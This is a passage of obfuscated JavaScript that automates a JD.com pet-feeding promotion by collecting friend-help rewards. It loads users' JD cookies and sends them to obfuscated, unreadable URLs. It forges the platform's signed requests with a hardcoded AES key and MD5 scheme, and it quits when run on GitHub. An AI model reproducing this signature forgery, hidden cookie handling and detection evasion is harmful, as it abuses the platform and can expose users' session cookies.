if(_0x58a743['tiRlE'](petRaceResult,_0x58a743['XOIyH'])){console[_0x1d8d('1e9','G@&z')](_0x1d8d('1ea','Zg)1')+_0x151d8c);const _0x2f7ac9=await _0x58a743['amUjJ'](combatHelp,_0x151d8c);if(_0x2f7ac9[_0x1d8d('1eb','X^Nl')]===_0x58a743[_0x1d8d('1ec','gmfl')]&&!_0x2f7ac9[_0x1d8d('1ed','Q0uE')]){console['log'](_0x1d8d('1ee','$XvX'));$[_0x1d8d('1ef','EtFw')]('',_0x58a743[_0x1d8d('1f0','DLFY')]);$['msg']($[_0x1d8d('1f1','%bsr')],_0x58a743['hXRmL'],_0x58a743[_0x1d8d('1f2','Fuxb')]);$[_0x1d8d('1f3','IldE')]=![];break;}else{if(_0x58a743['uUsZr'](_0x58a743[_0x1d8d('1f4','1jsB')],_0x58a743[_0x1d8d('1f5','ziq7')])){if(err){console[_0x1d8d('1d9','%Ier')](_0x1d8d('1f6','[Au0')+JSON['stringify'](err));}else{$['friendPins']=data&&JSON[_0x1d8d('1f7','@%ST')](data);if($['friendPins']&&$[_0x1d8d('be','B6wd')][_0x58a743[_0x1d8d('1f8','Q0uE')]]){friendsArr=$[_0x1d8d('1f9','6Ixg')][_0x58a743[_0x1d8d('1fa','a)x2')]];console[_0x1d8d('ec','FjT2')](_0x1d8d('c0','Z@OR')+friendsArr[_0x1d8d('1fb','L2w5')]+_0x1d8d('1fc','$XvX'));}}}else{$['LKYLLogin']=!![];}}}}}function combatHelp(_0x5228dd){var _0x33a1bc={'JGEKe':function(_0x40195f,_0x578264){return _0x40195f/_0x578264;},'Zmahc':function(_0x2c0e1d,_0x3631c1){return _0x2c0e1d>_0x3631c1;},'zRSxR':'请勿随意在BoxJs输入框修改内容\x0a建议通过脚本去获取cookie','YVaNW':'XIeHW','BXaIq':_0x1d8d('1fd','B6wd'),'gfcIE':'qEzRs','JJKib':_0x1d8d('1fe','v[xq'),'CMKNL':'vutUf','MhOvu':_0x1d8d('1ff','LMvC'),'CvESP':function(_0x198f96,_0x426427){return _0x198f96(_0x426427);},'bEgSD':'include','gnOXR':_0x1d8d('200','gmfl'),'KQhwg':function(_0x1be044,_0x2866b7){return _0x1be044+_0x2866b7;},'onhWY':_0x1d8d('201','MV^d'),'Azfyt':'url'};return new Promise(_0x2c484c=>{var _0x1234a3={'mhGEk':function(_0x4e249,_0x5265b5){return _0x33a1bc[_0x1d8d('202','F3d(')](_0x4e249,_0x5265b5);},'QGFqF':function(_0x3b20cc,_0x5e87e3){return _0x33a1bc[_0x1d8d('203','IldE')](_0x3b20cc,_0x5e87e3);},'iIgXz':_0x33a1bc['zRSxR'],'zfTRh':function(_0x3ecddf,_0x52d2db){return _0x3ecddf!==_0x52d2db;},'zjyJo':_0x33a1bc['YVaNW'],'QZKzh':_0x33a1bc[_0x1d8d('204','1oK$')],'rfhVt':function(_0x467991,_0x4fa07a){return _0x467991!==_0x4fa07a;},'huued':_0x33a1bc['gfcIE'],'ZFFKw':'XzQZV','LNVGQ':_0x1d8d('205','%bsr'),'Pbbld':_0x33a1bc['JJKib'],'JModR':_0x33a1bc[_0x1d8d('206','IldE')],'snjpN':function(_0x587fd,_0x13affa){return _0x587fd===_0x13affa;},'GfNSg':_0x33a1bc['MhOvu'],'ubmrt':function(_0x437848,_0x125c72){return _0x437848(_0x125c72);}};headers[_0x1d8d('207','%bsr')]=cookie;headers[_0x1d8d('208','L2w5')]=$[_0x1d8d('209','&o(o')];let _0x4ff74a={'url':_0x1d8d('20a','[13G')+_0x33a1bc['CvESP'](encodeURI,_0x5228dd)+'&invokeKey=Oex5GmEuqGep1WLC','method':_0x1d8d('20b','bP9Z'),'data':{},'credentials':_0x33a1bc['bEgSD'],'header':{'content-type':_0x33a1bc[_0x1d8d('20c','MV^d')]}};const _0x4ad1f8=_0x33a1bc[_0x1d8d('20d','LMvC')](_0x33a1bc[_0x1d8d('20e','IldE')],_0x33a1bc[_0x1d8d('20f','G@&z')](taroRequest,_0x4ff74a)[_0x33a1bc[_0x1d8d('210','Fuxb')]]);const _0x499a14={'url':_0x4ad1f8,'headers':headers};$[_0x1d8d('10c',']f#3')](_0x499a14,(_0x5b0d23,_0x320c19,_0x5a3993)=>{if(_0x1234a3[_0x1d8d('211','PC7O')](_0x1234a3['zjyJo'],_0x1234a3[_0x1d8d('212','Z@OR')])){try{if(_0x1234a3['rfhVt'](_0x1234a3[_0x1d8d('213','2Yg&')],_0x1234a3['huued'])){console['log'](''+JSON[_0x1d8d('eb','Fuxb')](_0x5b0d23));console[_0x1d8d('1e4','jPP7')]($[_0x1d8d('214','jE2P')]+'\x20API请求失败,请检查网路重试');}else{if(_0x5b0d23){if(_0x1d8d('215','1jsB')===_0x1234a3[_0x1d8d('216','gmfl')]){cookiesArr['push'](jdCookieNode[item]);}else{$['log'](_0x1234a3[_0x1d8d('217','X^Nl')]);$['logErr'](JSON[_0x1d8d('218','6Ixg')](_0x5b0d23));}}else{if(_0x1d8d('219','LMvC')==='VTSJv'){$['log']('赛跑助力结果'+_0x5a3993);_0x5a3993=JSON['parse'](_0x5a3993);if(_0x5a3993['errorCode']===_0x1234a3['Pbbld']&&_0x5a3993['data']['helpStatus']===_0x1234a3[_0x1d8d('21a','a)x2')]){if(_0x1234a3['rfhVt']('vutUf',_0x1234a3[_0x1d8d('21b','20LO')])){return JSON['parse'](str);}else{console[_0x1d8d('21c','a5b5')]('助力'+_0x5228dd+_0x1d8d('21d','@R[F')+_0x5a3993[_0x1d8d('21e','FjT2')]['rewardNum']+'g\x0a');$[_0x1d8d('21f','ziq7')]+=_0x5a3993[_0x1d8d('220','1oK$')]['rewardNum'];}}}else{$['done']();}}}}catch(_0x5a6706){if(_0x1234a3[_0x1d8d('221','%bsr')](_0x1234a3[_0x1d8d('222','EtFw')],_0x1234a3[_0x1d8d('223','Zg)1')])){$[_0x1d8d('1cd','v[xq')](_0x5a6706,_0x320c19);}else{let _0x48c1a7='';if($['inviteReward']>0x0){_0x48c1a7+='给'+_0x1234a3[_0x1d8d('224','%Ier')]($[_0x1d8d('225','2Yg&')],0x1e)+_0x1d8d('226','i%AY')+$['inviteReward']+'积分\x0a';}if(_0x1234a3[_0x1d8d('227','EtFw')]($[_0x1d8d('228','3$I%')],0x0)){_0x48c1a7+='给'+_0x1234a3[_0x1d8d('229','@R[F')]($[_0x1d8d('22a','[Au0')],0x5)+_0x1d8d('22b','DLFY')+$[_0x1d8d('22c','DLFY')]+'g';}if(_0x48c1a7){$[_0x1d8d('22d','v[xq')]($[_0x1d8d('22e','LMvC')],'',_0x1d8d('22f','@%ST')+$['index']+'\x20'+UserName+'\x0a'+_0x48c1a7);}}}finally{_0x1234a3[_0x1d8d('230','2Yg&')](_0x2c484c,_0x5a3993);}}else{try{return JSON[_0x1d8d('fc','MV^d')](str);}catch(_0x2dc9d8){console[_0x1d8d('231','$XN&')](_0x2dc9d8);$[_0x1d8d('232','[13G')]($[_0x1d8d('1f1','%bsr')],'',_0x1234a3[_0x1d8d('233','Z@OR')]);return[];}}});});}function combatDetail(_0x35c364){var _0x3ad031={'irZeH':function(_0x25af23,_0x5492a0){return _0x25af23!==_0x5492a0;},'qKEJa':_0x1d8d('234','2R2%'),'tPgQQ':'gKOfN','Nteti':_0x1d8d('235','IldE'),'deJzn':_0x1d8d('236','X^Nl'),'zbdsP':_0x1d8d('237','6Ixg'),'pshYc':function(_0x488ded,_0x13986f){return _0x488ded===_0x13986f;},'cMDiz':_0x1d8d('238','gmfl'),'UdmWK':'dKeVf','PbfJB':function(_0xe0b8f3,_0x274343){return _0xe0b8f3(_0x274343);},'OFWSr':_0x1d8d('239','gmfl'),'ekWWq':'include','JRVnU':_0x1d8d('23a','jPP7'),'jtTIJ':function(_0xdf32c3,_0x289759){return _0xdf32c3+_0x289759;},'gESVZ':_0x1d8d('23b','(i(('),'RnsMB':function(_0x43c80f,_0x359f95){return _0x43c80f(_0x359f95);},'JXPai':_0x1d8d('23c','%bsr')};return new Promise(_0x5db81f=>{var _0xf5bc19={'qHVgM':function(_0x2dac52,_0x5ed434){return _0x2dac52===_0x5ed434;}};if(_0x3ad031[_0x1d8d('23d','i)4I')](_0x3ad031[_0x1d8d('23e','bP9Z')],_0x3ad031[_0x1d8d('23f','Fuxb')])){console['log'](_0x1d8d('240','v[xq')+JSON[_0x1d8d('dd','L2w5')](err));}else{headers['Cookie']=cookie;headers[_0x1d8d('241','B6wd')]=$['LKYLToken'];let _0x3497ee={'url':_0x1d8d('242','LMvC')+_0x3ad031[_0x1d8d('243','MV^d')](encodeURI,_0x35c364)+'&reqSource=h5&invokeKey=Oex5GmEuqGep1WLC','method':_0x3ad031[_0x1d8d('244','%Ier')],'data':{},'credentials':_0x3ad031[_0x1d8d('245','OkG9')],'header':{'content-type':_0x3ad031[_0x1d8d('246','B6wd')]}};const _0x3298a5=_0x3ad031[_0x1d8d('247','3$I%')](_0x3ad031[_0x1d8d('248','F3d(')],_0x3ad031[_0x1d8d('249','gmfl')](taroRequest,_0x3497ee)[_0x3ad031[_0x1d8d('24a','EtFw')]]);const _0x229ffd={'url':_0x3298a5,'headers':headers};$[_0x1d8d('24b','$XvX')](_0x229ffd,(_0x364fb8,_0x352b07,_0x4ebc7d)=>{var _0x5c247c={'UvouY':_0x1d8d('24c','X^Nl')};if(_0x3ad031[_0x1d8d('24d','6Ixg')](_0x3ad031[_0x1d8d('24e','B6wd')],_0x3ad031[_0x1d8d('24f','Z@OR')])){try{if(_0x364fb8){if(_0x3ad031['Nteti']===_0x3ad031[_0x1d8d('250','&o(o')]){$['log'](_0x3ad031[_0x1d8d('251','Q0uE')]);$['logErr'](JSON[_0x1d8d('252','i%AY')](_0x364fb8));}else{if(_0xf5bc19[_0x1d8d('253','F3d(')](_0x352b07['statusCode'],0xc8)){try{let {body}=_0x352b07;console[_0x1d8d('254',']f#3')]('Token提交结果:'+body+'\x0a');body=JSON[_0x1d8d('255','6Ixg')](body);console['log'](''+body[_0x1d8d('256','@%ST')]);}catch(_0x23991a){console['log'](_0x1d8d('257','L2w5')+_0x23991a);}}}}else{if(_0x3ad031[_0x1d8d('258','2R2%')]===_0x3ad031['zbdsP']){_0x4ebc7d=JSON['parse'](_0x4ebc7d);}else{$[_0x1d8d('193','3$I%')](_0x1d8d('259','@%ST'));$[_0x1d8d('25a','6Ixg')](JSON[_0x1d8d('25b','Zg)1')](_0x364fb8));}}}catch(_0x5e2824){$['logErr'](_0x5e2824,_0x352b07);}finally{_0x5db81f(_0x4ebc7d);}}else{invite_pins=[];invite_pins[_0x1d8d('25c','Z@OR')]($[_0x1d8d('25d','i%AY')](_0x5c247c[_0x1d8d('25e','B6wd')]));}});}});}function isURL(_0x3887df,_0x910be0){return _0x910be0[_0x1d8d('25f','IldE')](_0x3887df);}function jsonParse(_0x15aeba){var _0x430890={'DKnWd':'https://bean.m.jd.com/bean/signIndex.action','LfcDv':function(_0x4b78e3,_0x16d1dc){return _0x4b78e3==_0x16d1dc;},'Arnnb':_0x1d8d('260','1jsB'),'jWYSD':function(_0x52b6f8,_0x14eaa0){return _0x52b6f8===_0x14eaa0;},'ZgFMy':_0x1d8d('261','[13G'),'PChjM':_0x1d8d('262','Zg)1'),'GZYVR':_0x1d8d('263','MUvq'),'XtLIO':_0x1d8d('264','MUvq')};if(_0x430890[_0x1d8d('265','G@&z')](typeof _0x15aeba,_0x430890['Arnnb'])){if(_0x430890['jWYSD'](_0x430890['ZgFMy'],_0x1d8d('266','F3d('))){$['log']('API请求失败');$[_0x1d8d('267','@R[F')](JSON[_0x1d8d('268','2Yg&')](err));}else{try{if(_0x1d8d('269','%Ier')===_0x430890[_0x1d8d('26a','Fuxb')]){return JSON['parse'](_0x15aeba);}else{let {body}=resp;console[_0x1d8d('254',']f#3')](_0x1d8d('26b','%bsr')+body+'\x0a');body=JSON[_0x1d8d('26c','Z@OR')](body);console[_0x1d8d('72','LMvC')](''+body[_0x1d8d('26d','Q0uE')]);}}catch(_0x464610){if(_0x1d8d('26e','%Ier')!==_0x430890['GZYVR']){$['msg']($['name'],_0x1d8d('26f','20LO'),_0x430890[_0x1d8d('270','PC7O')],{'open-url':_0x430890[_0x1d8d('271','$XN&')]});return;}else{console['log'](_0x464610);$['msg']($[_0x1d8d('272','a)x2')],'',_0x430890[_0x1d8d('273','Q0uE')]);return[];}}}}}function getRandomArrayElements(_0x54c2c0,_0x2ef150){var _0x272976={'dZFkB':function(_0x21afb0,_0x1a2d8f){return _0x21afb0>_0x1a2d8f;},'Whfjo':function(_0x492ee7,_0x4a1943){return _0x492ee7*_0x4a1943;},'GlMrP':function(_0x1e48c1,_0x5bd7f1){return _0x1e48c1+_0x5bd7f1;}};let _0x1fbb26=_0x54c2c0['slice'](0x0),_0x4acefc=_0x54c2c0[_0x1d8d('274','F3d(')],_0x53ec39=_0x4acefc-_0x2ef150,_0xbdff2e,_0x48de20;while(_0x272976[_0x1d8d('275','3$I%')](_0x4acefc--,_0x53ec39)){_0x48de20=Math[_0x1d8d('276','2R2%')](_0x272976[_0x1d8d('277','1jsB')](_0x272976[_0x1d8d('278','&o(o')](_0x4acefc,0x1),Math[_0x1d8d('279','i)4I')]()));_0xbdff2e=_0x1fbb26[_0x48de20];_0x1fbb26[_0x48de20]=_0x1fbb26[_0x4acefc];_0x1fbb26[_0x4acefc]=_0xbdff2e;}return _0x1fbb26[_0x1d8d('27a','a)x2')](_0x53ec39);}function getFriendPins(){var _0x28115b={'rOhou':function(_0x588e25,_0x527ecc){return _0x588e25===_0x527ecc;},'JafZS':_0x1d8d('27b','@R[F'),'NkNGX':_0x1d8d('27c',']q!['),'yMTqJ':_0x1d8d('27d','3$I%'),'SwQxs':function(_0x18c589,_0x4b5bbb){return _0x18c589===_0x4b5bbb;},'qHktU':_0x1d8d('27e','B6wd'),'SrzMx':function(_0x5496c7){return _0x5496c7();},'BxnQr':_0x1d8d('27f','FjT2'),'EiAEI':_0x1d8d('280','(i((')};return new Promise(_0x47fcfb=>{$[_0x1d8d('281','DLFY')]({'url':_0x28115b[_0x1d8d('282','@R[F')],'headers':{'User-Agent':_0x28115b[_0x1d8d('283','jPP7')]},'timeout':0x186a0},async(_0x13eb82,_0x3adaa9,_0x53e1f0)=>{if(_0x28115b['rOhou'](_0x28115b[_0x1d8d('284','@R[F')],_0x28115b['NkNGX'])){$[_0x1d8d('285','7)Tk')](e,_0x3adaa9);}else{try{if(_0x13eb82){console[_0x1d8d('286','2Yg&')](_0x1d8d('287','(i((')+JSON[_0x1d8d('288','7)Tk')](_0x13eb82));}else{$[_0x1d8d('289','Zg)1')]=_0x53e1f0&&JSON['parse'](_0x53e1f0);if($[_0x1d8d('28a','&o(o')]&&$[_0x1d8d('28b','buJq')][_0x28115b['yMTqJ']]){if(_0x28115b[_0x1d8d('28c','FjT2')](_0x28115b['qHktU'],_0x1d8d('28d','a)x2'))){friendsArr=$[_0x1d8d('28e','mNmJ')][_0x28115b[_0x1d8d('28f','L2w5')]];console[_0x1d8d('290','PC7O')](_0x1d8d('291','B6wd')+friendsArr['length']+'个好友供来进行邀请助力\x0a');}else{if(_0x53e1f0){console['log'](_0x1d8d('292','FjT2'));_0x53e1f0=JSON['parse'](_0x53e1f0);}}}}}catch(_0x2593c9){$[_0x1d8d('293','FjT2')](_0x2593c9,_0x3adaa9);}finally{_0x28115b[_0x1d8d('294','@R[F')](_0x47fcfb);}}});});}isRequest?getToken():main();;_0xodY='jsjiami.com.v6'; +const isRequest = typeof $request != "undefined" +const JD_BASE_API = `https://draw.jdfcloud.com//pet`; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : {}; +//下面给出好友邀请助力的示例填写规则 +let invite_pins = []; +//下面给出好友赛跑助力的示例填写规则 +let run_pins = []; +//friendsArr内置太多会导致IOS端部分软件重启,可PR过来(此处目的:帮别人助力可得30g狗粮) +let friendsArr = [] -var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb227b=["\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","\x39\x38\x63\x31\x34\x63\x39\x39\x37\x66\x64\x65\x35\x30\x63\x63\x31\x38\x62\x64\x65\x66\x65\x63\x66\x64\x34\x38\x63\x65\x62\x37","\x70\x61\x72\x73\x65","\x55\x74\x66\x38","\x65\x6E\x63","\x65\x61\x36\x35\x33\x66\x34\x66\x33\x63\x35\x65\x64\x61\x31\x32","\x63\x69\x70\x68\x65\x72\x74\x65\x78\x74","\x43\x42\x43","\x6D\x6F\x64\x65","\x50\x6B\x63\x73\x37","\x70\x61\x64","\x65\x6E\x63\x72\x79\x70\x74","\x41\x45\x53","\x48\x65\x78","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x42\x61\x73\x65\x36\x34","\x64\x65\x63\x72\x79\x70\x74","\x6C\x65\x6E\x67\x74\x68","\x6D\x61\x70","\x73\x6F\x72\x74","\x6B\x65\x79\x73","\x67\x69\x66\x74","\x70\x65\x74","\x69\x6E\x63\x6C\x75\x64\x65\x73","\x26","\x6A\x6F\x69\x6E","\x3D","\x3F","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6D\x6D\x6F\x6E\x2F","\x72\x65\x70\x6C\x61\x63\x65","\x68\x65\x61\x64\x65\x72","\x75\x72\x6C","\x72\x65\x71\x53\x6F\x75\x72\x63\x65\x3D\x68\x35","\x61\x73\x73\x69\x67\x6E","\x6D\x65\x74\x68\x6F\x64","\x47\x45\x54","\x64\x61\x74\x61","\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x6B\x65\x79\x43\x6F\x64\x65","\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","","\x67\x65\x74","\x70\x6F\x73\x74","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x5F","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taroRequest(_0x1226x2){const _0x1226x3=$[__Oxb227b[0x0]]()?require(__Oxb227b[0x1]):CryptoJS;const _0x1226x4=__Oxb227b[0x2];const _0x1226x5=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x4);const _0x1226x6=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](__Oxb227b[0x6]);let _0x1226x7={"\x41\x65\x73\x45\x6E\x63\x72\x79\x70\x74":function _0x1226x8(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x2);return _0x1226x3[__Oxb227b[0xd]][__Oxb227b[0xc]](_0x1226x9,_0x1226x5,{"\x69\x76":_0x1226x6,"\x6D\x6F\x64\x65":_0x1226x3[__Oxb227b[0x9]][__Oxb227b[0x8]],"\x70\x61\x64\x64\x69\x6E\x67":_0x1226x3[__Oxb227b[0xb]][__Oxb227b[0xa]]})[__Oxb227b[0x7]].toString()},"\x41\x65\x73\x44\x65\x63\x72\x79\x70\x74":function _0x1226xa(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0xe]][__Oxb227b[0x3]](_0x1226x2),_0x1226xb=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0xf]](_0x1226x9);return _0x1226x3[__Oxb227b[0xd]][__Oxb227b[0x11]](_0x1226xb,_0x1226x5,{"\x69\x76":_0x1226x6,"\x6D\x6F\x64\x65":_0x1226x3[__Oxb227b[0x9]][__Oxb227b[0x8]],"\x70\x61\x64\x64\x69\x6E\x67":_0x1226x3[__Oxb227b[0xb]][__Oxb227b[0xa]]}).toString(_0x1226x3[__Oxb227b[0x5]].Utf8).toString()},"\x42\x61\x73\x65\x36\x34\x45\x6E\x63\x6F\x64\x65":function _0x1226xc(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x2);return _0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0xf]](_0x1226x9)},"\x42\x61\x73\x65\x36\x34\x44\x65\x63\x6F\x64\x65":function _0x1226xd(_0x1226x2){return _0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0x3]](_0x1226x2).toString(_0x1226x3[__Oxb227b[0x5]].Utf8)},"\x4D\x64\x35\x65\x6E\x63\x6F\x64\x65":function _0x1226xe(_0x1226x2){return _0x1226x3.MD5(_0x1226x2).toString()},"\x6B\x65\x79\x43\x6F\x64\x65":__Oxb227b[0x2]};const _0x1226xf=function _0x1226x10(_0x1226x2,_0x1226x9){if(_0x1226x2 instanceof Array){_0x1226x9= _0x1226x9|| [];for(var _0x1226xb=0;_0x1226xb< _0x1226x2[__Oxb227b[0x12]];_0x1226xb++){_0x1226x9[_0x1226xb]= _0x1226x10(_0x1226x2[_0x1226xb],_0x1226x9[_0x1226xb])}}else {!(_0x1226x2 instanceof Array)&& _0x1226x2 instanceof Object?(_0x1226x9= _0x1226x9|| {},Object[__Oxb227b[0x15]](_0x1226x2)[__Oxb227b[0x14]]()[__Oxb227b[0x13]](function(_0x1226xb){_0x1226x9[_0x1226xb]= _0x1226x10(_0x1226x2[_0x1226xb],_0x1226x9[_0x1226xb])})):_0x1226x9= _0x1226x2};return _0x1226x9};const _0x1226x11=function _0x1226x12(_0x1226x2){for(var _0x1226x9=[__Oxb227b[0x16],__Oxb227b[0x17]],_0x1226xb=!1,_0x1226x3=0;_0x1226x3< _0x1226x9[__Oxb227b[0x12]];_0x1226x3++){var _0x1226x4=_0x1226x9[_0x1226x3];_0x1226x2[__Oxb227b[0x18]](_0x1226x4)&& !_0x1226xb&& (_0x1226xb= !0)};return _0x1226xb};const _0x1226x13=function _0x1226x14(_0x1226x2,_0x1226x9){if(_0x1226x9&& Object[__Oxb227b[0x15]](_0x1226x9)[__Oxb227b[0x12]]> 0){var _0x1226xb=Object[__Oxb227b[0x15]](_0x1226x9)[__Oxb227b[0x13]](function(_0x1226x2){return _0x1226x2+ __Oxb227b[0x1b]+ _0x1226x9[_0x1226x2]})[__Oxb227b[0x1a]](__Oxb227b[0x19]);return _0x1226x2[__Oxb227b[0x1d]](__Oxb227b[0x1c])>= 0?_0x1226x2+ __Oxb227b[0x19]+ _0x1226xb:_0x1226x2+ __Oxb227b[0x1c]+ _0x1226xb};return _0x1226x2};const _0x1226x15=function _0x1226x16(_0x1226x2){for(var _0x1226x9=_0x1226x6,_0x1226xb=0;_0x1226xb< _0x1226x9[__Oxb227b[0x12]];_0x1226xb++){var _0x1226x3=_0x1226x9[_0x1226xb];_0x1226x2[__Oxb227b[0x18]](_0x1226x3)&& !_0x1226x2[__Oxb227b[0x18]](__Oxb227b[0x1e]+ _0x1226x3)&& (_0x1226x2= _0x1226x2[__Oxb227b[0x1f]](_0x1226x3,__Oxb227b[0x1e]+ _0x1226x3))};return _0x1226x2};var _0x1226x9=_0x1226x2,_0x1226xb=(_0x1226x9[__Oxb227b[0x20]],_0x1226x9[__Oxb227b[0x21]]);_0x1226xb+= (_0x1226xb[__Oxb227b[0x1d]](__Oxb227b[0x1c])> -1?__Oxb227b[0x19]:__Oxb227b[0x1c])+ __Oxb227b[0x22];var _0x1226x17=function _0x1226x18(_0x1226x2){var _0x1226x9=_0x1226x2[__Oxb227b[0x21]],_0x1226xb=_0x1226x2[__Oxb227b[0x24]],_0x1226x3=void(0)=== _0x1226xb?__Oxb227b[0x25]:_0x1226xb,_0x1226x4=_0x1226x2[__Oxb227b[0x26]],_0x1226x6=_0x1226x2[__Oxb227b[0x20]],_0x1226x19=void(0)=== _0x1226x6?{}:_0x1226x6,_0x1226x1a=_0x1226x3[__Oxb227b[0x27]](),_0x1226x1b=_0x1226x7[__Oxb227b[0x28]],_0x1226x1c=_0x1226x19[__Oxb227b[0x29]]|| _0x1226x19[__Oxb227b[0x2a]]|| __Oxb227b[0x2b],_0x1226x1d=__Oxb227b[0x2b],_0x1226x1e=+ new Date();return _0x1226x1d= __Oxb227b[0x2c]!== _0x1226x1a&& (__Oxb227b[0x2d]!== _0x1226x1a|| __Oxb227b[0x2e]!== _0x1226x1c[__Oxb227b[0x27]]()&& _0x1226x4&& Object[__Oxb227b[0x15]](_0x1226x4)[__Oxb227b[0x12]])?_0x1226x7.Md5encode(_0x1226x7.Base64Encode(_0x1226x7.AesEncrypt(__Oxb227b[0x2b]+ JSON[__Oxb227b[0xf]](_0x1226xf(_0x1226x4))))+ __Oxb227b[0x2f]+ _0x1226x1b+ __Oxb227b[0x2f]+ _0x1226x1e):_0x1226x7.Md5encode(__Oxb227b[0x2f]+ _0x1226x1b+ __Oxb227b[0x2f]+ _0x1226x1e),_0x1226x11(_0x1226x9)&& (_0x1226x9= _0x1226x13(_0x1226x9,{"\x6C\x6B\x73":_0x1226x1d,"\x6C\x6B\x74":_0x1226x1e}),_0x1226x9= _0x1226x15(_0x1226x9)),Object[__Oxb227b[0x23]](_0x1226x2,{"\x75\x72\x6C":_0x1226x9})}(_0x1226x2= Object[__Oxb227b[0x23]](_0x1226x2,{"\x75\x72\x6C":_0x1226xb}));return _0x1226x17}(function(_0x1226x1f,_0x1226xf,_0x1226x20,_0x1226x21,_0x1226x1c,_0x1226x22){_0x1226x22= __Oxb227b[0x30];_0x1226x21= function(_0x1226x19){if( typeof alert!== _0x1226x22){alert(_0x1226x19)};if( typeof console!== _0x1226x22){console[__Oxb227b[0x31]](_0x1226x19)}};_0x1226x20= function(_0x1226x3,_0x1226x1f){return _0x1226x3+ _0x1226x1f};_0x1226x1c= _0x1226x20(__Oxb227b[0x32],_0x1226x20(_0x1226x20(__Oxb227b[0x33],__Oxb227b[0x34]),__Oxb227b[0x35]));try{_0x1226x1f= __encode;if(!( typeof _0x1226x1f!== _0x1226x22&& _0x1226x1f=== _0x1226x20(__Oxb227b[0x36],__Oxb227b[0x37]))){_0x1226x21(_0x1226x1c)}}catch(e){_0x1226x21(_0x1226x1c)}})({}) -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 